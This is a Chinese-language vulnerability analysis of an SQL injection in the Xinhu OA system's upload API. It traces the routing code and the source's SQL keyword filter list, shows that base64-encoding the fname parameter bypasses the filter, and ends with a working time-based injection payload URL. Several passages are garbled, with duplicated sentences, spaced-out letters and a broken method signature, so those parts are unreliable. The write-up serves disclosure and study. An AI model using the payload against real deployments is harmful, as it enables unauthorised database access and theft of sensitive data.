漏洞描述
信呼OA辦公系統uploadAction存在SQL注入漏洞,攻擊者可利用該漏洞獲取數據庫敏感信息。
環境搭建
源碼下載地址:https://github.com/rainrocka/xinhu
下載后解壓到本地網站根目錄下,配置好數據庫,然后安裝即可
默認密碼是admin/123456,登錄進去得更改一次密碼
路由分析
在include/View.php中詳細介紹了路由的定義
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;//define('PROJECT', 'webmain');
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
?
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);
?
$_m = $m;
if($rock->contain($m, '|')){ $_mas = explode('|', $m);//以|分割變量m $m= $_mas[0]; $_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//調用strformat進行格式化,其中?0、?1 等是占位符
$rand = date('YmdHis').rand(1000,9999);//隨機值
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一個字符不是/且$d不是空就在$d后面加一個/
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目錄/webmain/$d/$_m
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目錄/webmain/$d/$_m/$mAction.php
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目錄/webmain/$d/$_m/$_mAction.php
$actbstr = null;
//依次判斷$actfile1以及$actfile哪個文件存在,哪個存在包含哪個
if(file_exists($actfile1)) include_once($actfile1);
if(file_exists($actfile)){ include_once($actfile); $clsname = ''.$m.'ClassAction'; $xhrock = new $clsname();//創建一個與$m相關類的對象 $actname = ''.$a.'Action';//在$a后接一個Action if($ajaxbool == 'true')//判斷ajaxbool是否為true $actname = ''.$a.'Ajax';//在$a后接一個Ajax if(method_exists($xhrock, $actname)){//檢測類中是否存在該方法 $xhrock->beforeAction(); $actbstr = $xhrock->$actname(); $xhrock->bodyMessage = $actbstr; if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;} if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;} }else{ $methodbool = false; if($ajaxbool == 'false')echo ''.$actname.' not found;'; } $xhrock->afterAction();
}else{ echo 'actionfile not exists;'; $xhrock = new Action();
}
?
$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){ $xhrock->smartydata['p'] = $p; $xhrock->smartydata['a'] = $a; $xhrock->smartydata['m'] = $m; $xhrock->smartydata['d'] = $d; $xhrock->smartydata['rand'] = $rand; $xhrock->smartydata['qom'] = QOM; $xhrock->smartydata['path'] = PATH; $xhrock->smartydata['sysurl']= SYSURL; $temppath = ''.ROOT_PATH.'/'.$p.'/'; $tplpaths = ''.$temppath.'/'.$d.''.$m.'/'; $tplname = 'tpl_'.$m.''; if($a!='default')$tplname .= '_'.$a.''; $tplname .= '.'.$xhrock->tpldom.''; $mpathname = $tplpaths.$tplname; if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile; if(!file_exists($mpathname) || !$methodbool){ if(!$methodbool){ $errormsg = 'in ('.$m.') not found Method('.$a.');'; }else{ $errormsg = ''.$tplname.' not exists;'; } echo $errormsg; }else{ $_showbool = true; }
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){ $xhrock->setHtmlData(); $da = $xhrock->smartydata; foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v; include_once($mpathname); $_showbool = false;
}
這里用get方式會接收m,d,a,ajaxbool參數
- a j a x b o o l :用于判斷請求是否為 A J A X 請求,默認值從 ajaxbool:用于判斷請求是否為AJAX請求,默認值從 ajaxbool:用于判斷請求是否為AJAX請求,默認值從rock->jm->gettoken獲取。當ajaxbool為false時,是對xxxAction.php的內容訪問,當ajaxbool為true時,是對xxxAjax.php的內容進行訪問
- $m, $a, $d:分別代表php文件名(不含Action)、動作名(action)、目錄名(webadmin下的子目錄),默認值分別為index,default、空字符串。
舉例:index.php?a=deluser&m=imgroup&d=&ajaxbool=true&gid=38&sid=1
- $m:user,表示請求的是webadmin下的imgroup 目錄。
- $a:list,表示請求的方法是 deluser。
- ajaxbool:true,表示這是一個 AJAX 請求
漏洞分析
漏洞的位置在webmain/task/api/uploadAction.php中
核心代碼在getmfilvAction()方法里邊
public function getmfilvAction(){$fileid = (int)$this->get('fileid','0');$frs = m('file')->getone($fileid);if(!$frs)return returnerror('不存在');$lujing = $frs['filepathout'];if(isempt($lujing)){$lujing = $frs['filepath'];if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');}$fileext = $frs['fileext'];$fname = $this->jm->base64decode($this->get('fname'));$fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';$this->rock->createtxt($filepath, file_get_contents($lujing));$uarr = array('filename' => $fname,'fileext' => $fileext,'filepath' => $filepath,'filesize' => filesize($filepath),'filesizecn' => $this->rock->formatsize(filesize($filepath)),'optid' => $this->adminid,'optname' => $this->adminname,'adddt' => $this->rock->now,'ip' => $this->rock->ip,'web' => $this->rock->web,);$uarr['id'] = m('file')->insert($uarr);return returnsuccess($uarr);}
getmfilvAction 方法的主要功能是從數據庫中獲取文件信息,讀取文件內容,生成新的文件,并將新文件的信息記錄到數據庫中。最后,返回生成文件的信息。
在該方法中有兩個可以控制的參數,一個是fileid另一個是fname,但是fileid參數會進行類型轉換為int類型存在注入幾率幾乎為零,其中fname還進行了base64解碼操作,最后將兩個參數的內容連同其他文件基本信息進行數據庫的插入操作,在這個地方想要確定有sql注入需要確定get方法以及insert方法是否存在sql語句的過濾
進入Model.php中的inser()方法
public function insert($arr){$nid = 0;if($this->record($arr, ''))$nid = $this->db->insert_id();return $nid;}
對傳入的參數進行record方法的校驗若不為false,那么就獲取到其id值
跟進record方法
再跟進 public function record( t a b l e , table, table,array,$where=‘’)
{$addbool = true;if(!$this->isempt($where))$addbool=false;$cont = '';if(is_array($array)){foreach($array as $key=>$val){$cont.=",`$key`=".$this->toaddval($val)."";}$cont = substr($cont,1);}else{$cont = $array;}$table = $this->gettables($table);if($addbool){$sql="insert into $table set $cont";}else{$where = $this->getwhere($where);$sql="update $table set $cont where $where";}return $this->tranbegin($sql);}
代碼解讀:該方法首先是是對where參數進行非空判斷,前面代碼是將where設置為空了,那么 a d d b o o l 就是 f a l s e 。接著就是判斷 addbool就是false。接著就是判斷 addbool就是false。接著就是判斷array是否為數組,若是數組就進行遍歷將每個字段和對應的值拼接到 c o n t 字符串中并調用 t o a d d v a l 方法確保傳入的字符串被正確地格式化為 S Q L 語句中的字符串值,但該方法并沒有對 s q l 進行任何過濾 ; 然后調用 g e t t a b l e s 設置表名,接著進入 e l s e 語句,我們清晰的看到 cont字符串中并調用toaddval方法確保傳入的字符串被正確地格式化為 SQL 語句中的字符串值,但該方法并沒有對sql進行任何過濾;然后調用gettables設置表名,接著進入else語句,我們清晰的看到 cont字符串中并調用toaddval方法確保傳入的字符串被正確地格式化為SQL語句中的字符串值,但該方法并沒有對sql進行任何過濾;然后調用gettables設置表名,接著進入else語句,我們清晰的看到sql變量直接將$cont語句拼接到了sql語句中
接著我們去get方法中看看該方法對傳入的內容有什么過濾,來到rockClass.php中
public function get($name,$dev='', $lx=0){$val=$dev;if(isset($_GET[$name]))$val=$_GET[$name];if($this->isempt($val))$val=$dev;return $this->jmuncode($val, $lx, $name);}
這個方法只是判斷是否進行get傳參如果傳參成功就進行賦值操作,之后進行非空判斷,調用jmucade方法()將其值返回。該方法中并沒有對sql語句進行過濾
這個文件里有個construct()方法,實例化rockClass對象就會觸發
public function __construct(){ $this->ip = $this->getclientip();$this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '' ;if($this->host && substr($this->host,-3)==':80')$this->host = str_replace(':80', '', $this->host);$this->url = '';$this->isqywx = false;$this->win = php_uname();$this->HTTPweb = isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT'] : '' ;$this->web = $this->getbrowser();$this->unarr = explode(',','1,2');$this->now = $this->now();$this->date = date('Y-m-d');$this->lvlaras = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');$this->lvlaraa = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');$this->lvlarab = array();foreach($this->lvlaraa as $_i)$this->lvlarab[]='';}
這里過濾大部分sql注入一些敏感字符,通過以上分析發現這個fname參數經過get傳參后會進行base64decode方法進行base64解密,那么如果我們將filename傳入惡意的sql語句進行base64編碼,就會繞過rockClass.php中的construct方法中的sql語句的過濾,之后進行base64解密又拼接到sql語句造成sql注入的形成
漏洞驗證
payload:
api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDMpIw==
payload解釋:漏洞的位置在webmain/task/api/uploadAction.php中的getmfilv方法中,d傳task參數表示在webadmin/task目錄下,m傳upload|api,第一部分 upload 會被賦值給 $m,第二部分 api 會被賦值給 $_m,表示
api下的uploadAction.php文件,a傳getmfilv文件表示調用uploadAction.php的、getmfilv()方法,fname傳sql注入的payload,進行base64編碼
成功延時